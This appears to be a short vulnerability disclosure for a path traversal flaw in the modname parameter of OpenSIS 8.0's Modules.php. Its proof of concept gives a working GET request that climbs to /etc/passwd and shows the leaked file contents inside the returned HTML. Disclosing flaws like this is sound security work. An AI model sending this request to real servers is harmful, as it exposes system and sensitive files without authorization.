✍️ Description

The module.php modname parameter in OpenSIS 8.0 is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.;

🕵️‍♂️ Proof of Concept

//  Modules.php
GET /Modules.php?modname=../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1 302 Found
Location: index.php

                <!-- Main content -->
                <div class="content-wrapper"><div id='content' name='content' class='clearfix'><div id='update_panel'><div id='divErr' class="text-left text-danger"></div><DIV id="Migoicons" style="visibility:hidden;position:absolute;z-index:1000;top:-100;"></DIV>root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
</div><div id='cal' style='position:absolute;'></div></div>
    </div>
        </div>
        </div>
                <!-- /main content -->

💥 Impact

Enables an attacker to access sensitive files